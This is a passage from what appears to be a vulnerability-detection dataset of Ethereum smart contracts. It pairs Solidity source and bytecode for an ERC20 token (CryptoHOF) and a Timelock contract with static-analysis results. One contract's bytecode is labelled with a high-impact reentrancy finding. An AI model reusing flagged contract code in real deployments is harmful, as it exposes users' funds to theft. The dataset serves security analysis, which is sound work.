5565b5b6000612a3784828501612819565b91505092915050565b600080600060608486031215612a5957612a586133f5565b5b6000612a678682870161282e565b9350506020612a788682870161282e565b9250506040612a898682870161282e565b9150509250925092565b6000612a9f8383612aab565b60208301905092915050565b612ab481613216565b82525050565b612ac381613216565b82525050565b6000612ad4826130bc565b612ade81856130df565b9350612ae9836130ac565b8060005b83811015612b1a578151612b018882612a93565b9750612b0c836130d2565b925050600181019050612aed565b5085935050505092915050565b612b3081613228565b82525050565b612b3f8161326b565b82525050565b6000612b50826130c7565b612b5a81856130f0565b9350612b6a81856020860161327d565b612b73816133fa565b840191505092915050565b6000612b8b6023836130f0565b9150612b968261340b565b604082019050919050565b6000612bae6019836130f0565b9150612bb98261345a565b602082019050919050565b6000612bd1602a836130f0565b9150612bdc82613483565b604082019050919050565b6000612bf46022836130f0565b9150612bff826134d2565b604082019050919050565b6000612c17601b836130f0565b9150612c2282613521565b602082019050919050565b6000612c3a6021836130f0565b9150612c458261354a565b604082019050919050565b6000612c5d6020836130f0565b9150612c6882613599565b602082019050919050565b6000612c806029836130f0565b9150612c8b826135c2565b604082019050919050565b6000612ca36025836130f0565b9150612cae82613611565b604082019050919050565b6000612cc6601a836130f0565b9150612cd182613660565b602082019050919050565b6000612ce96024836130f0565b9150612cf482613689565b604082019050919050565b6000612d0c6017836130f0565b9150612d17826136d8565b602082019050919050565b612d2b81613254565b82525050565b612d3a8161325e565b82525050565b6000602082019050612d556000830184612aba565b92915050565b6000604082019050612d706000830185612aba565b612d7d6020830184612aba565b9392505050565b6000604082019050612d996000830185612aba565b612da66020830184612d22565b9392505050565b600060c082019050612dc26000830189612aba565b612dcf6020830188612d22565b612ddc6040830187612b36565b612de96060830186612b36565b612df66080830185612aba565b612e0360a0830184612d22565b979650505050505050565b6000602082019050612e236000830184612b27565b92915050565b60006020820190508181036000830152612e438184612b45565b905092915050565b60006020820190508181036000830152612e6481612b7e565b9050919050565b60006020820190508181036000830152612e8481612ba1565b9050919050565b60006020820190508181036000830152612ea481612bc4565b9050919050565b60006020820190508181036000830152612ec481612be7565b9050919050565b60006020820190508181036000830152612ee481612c0a565b9050919050565b60006020820190508181036000830152612f0481612c2d565b9050919050565b60006020820190508181036000830152612f2481612c50565b9050919050565b60006020820190508181036000830152612f4481612c73565b9050919050565b60006020820190508181036000830152612f6481612c96565b9050919050565b60006020820190508181036000830152612f8481612cb9565b9050919050565b60006020820190508181036000830152612fa481612cdc565b9050919050565b60006020820190508181036000830152612fc481612cff565b9050919050565b6000602082019050612fe06000830184612d22565b92915050565b600060a082019050612ffb6000830188612d22565b6130086020830187612b36565b818103604083015261301a8186612ac9565b90506130296060830185612aba565b6130366080830184612d22565b9695505050505050565b60006020820190506130556000830184612d31565b92915050565b6000613065613076565b905061307182826132b0565b919050565b6000604051905090565b600067ffffffffffffffff82111561309b5761309a6133b7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310c82613254565b915061311783613254565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314c5761314b61332a565b5b828201905092915050565b600061316282613254565b915061316d83613254565b92508261317d5761317c613359565b5b828204905092915050565b600061319382613254565b915061319e83613254565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d7576131d661332a565b5b828202905092915050565b60006131ed82613254565b91506131f883613254565b92508282101561320b5761320a61332a565b5b828203905092915050565b600061322182613234565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327682613254565b9050919050565b60005b8381101561329b578082015181840152602081019050613280565b838111156132aa576000848401525b50505050565b6132b9826133fa565b810181811067ffffffffffffffff821117156132d8576132d76133b7565b5b80604052505050565b60006132ec82613254565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331f5761331e61332a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370a81613216565b811461371557600080fd5b50565b61372181613228565b811461372c57600080fd5b50565b61373881613254565b811461374357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220213249acfe20815b7c2aa03ddf54febd59c64a5454196961050643682e7f926d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
459
0x424390bdd4eea311d1c777c410d75c3eb7b68c47
/** *Submitted for verification at Etherscan.io on 2021-07-21 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'CryptoHOF' contract // // Symbol : CHOF // Name : CryptoHOF // Total supply: 1 000 000 000 // Decimals : 8 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract CryptoHOF is BurnableToken { string public constant name = "CryptoHOF"; string public constant symbol = "CHOF"; uint public constant decimals = 8; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner //allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600981526020017f43727970746f484f46000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b600881565b6008600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f43484f460000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea264697066735822122016e48aaa1ddbafb6d10d2fd1399871c6c775b5c76410c284c58ed305d01b42f364736f6c634300060c0033
{"success": true, "error": null, "results": {}}
460
0xeb5c8d85f99b23287a1bdcf134e5dcd252a0e1ce
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract TimelockHasOperator { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewOperator(address indexed newOperator); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 12 hours; uint public constant MAXIMUM_DELAY = 30 days; address public admin; // should be a multi-sig or DAO address public pendingAdmin; address public operator; // add this role (could be EOA) to initiate (queue) a new tx uint public delay; bool public admin_initialized; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay."); operator = msg.sender; admin = admin_; delay = delay_; admin_initialized = false; } receive() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function setOperator(address operator_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); operator = operator_; emit NewOperator(operator); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { // allows one time setting of admin for deployment purposes if (admin_initialized) { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); } else { require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin."); admin_initialized = true; } pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin || msg.sender == operator, "Timelock::queueTransaction: Call must come from admin or operator."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call{value: value}(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
